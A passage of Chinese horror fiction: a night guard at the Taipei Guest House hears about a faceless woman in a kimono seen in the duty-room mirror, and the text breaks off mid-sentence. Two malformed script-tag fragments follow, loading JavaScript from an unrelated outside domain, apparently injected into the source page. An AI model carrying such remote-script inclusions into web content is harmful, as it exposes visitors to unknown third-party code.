二楼的某个窗户后面,似乎有什么东西在动。
一抹白色的、模糊的影子,在玻璃后面一闪而过。
林正豪转身就走,一路走到停车的地方,拉开车门,坐进去,发动引擎。车子驶出凯达格兰大道的时候,他从后视镜里看了一眼后方的台北宾馆。
它越来越小,越来越远,最后变成一个模糊的白点,消失在夜色里。
但他知道,明天他还要回来。
因为钥匙还在他手上。
而他,是最后走的那个人。
凌晨两点十七分,林正豪躺在自己租屋处的床上,盯着天花板,怎么都睡不着。窗外的路灯透过窗帘的缝隙照进来,在天花板上投下一道淡淡的光斑,像一只睁着的眼睛。
他的手机放在枕头旁边,屏幕亮了一下,是阿坤发来的消息。
“到家了吗?”
他回了一个“嗯”。
阿坤又发了一条:“豪哥,有件事我白天没跟你说。你那个位置,之前已经走了三个人了。一个是身体不好辞职,一个是调去了别的部门,还有一个——干了一个礼拜就不干了,连工资都没要。”
林正豪盯着这条消息看了很久。
“为什么?”
阿坤的回答来得很快:“那个干了一个礼拜的人,离职之前跟我说了一句话。他说,他在值班室的那面镜子里,看见有一个穿和服的女人站在他身后。”
“但最恐怖的不是这个。”
“最恐怖的是,他说那个女人没有脸。”
“她的脸上什么都没有,光溜溜的,像一颗煮熟的鸡蛋。但她就是站在那里,歪着头,好像在看他,又好像在看他身后的什么东西。”
林正豪把手机翻了过去,屏幕朝下扣在床头柜上。
房间里很安静,安静得他能听见自己的呼吸声。
他闭上眼睛,试图入睡。但每次快要睡着的时候,他都会闻到一股淡淡的香味——白檀,栀子花——从房间的某个角落里飘过来,若有若无,像是有人在很近的地方呼吸。
他不知道那是自己的心理作用,还是别的什么。
他只知道一件事。
明天晚上,他又会是最后一个走的人。
而他不知道,下一次他能不能忍住不回头。
台北宾馆的灵异传说,最早可以追溯到日据时期。根据
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">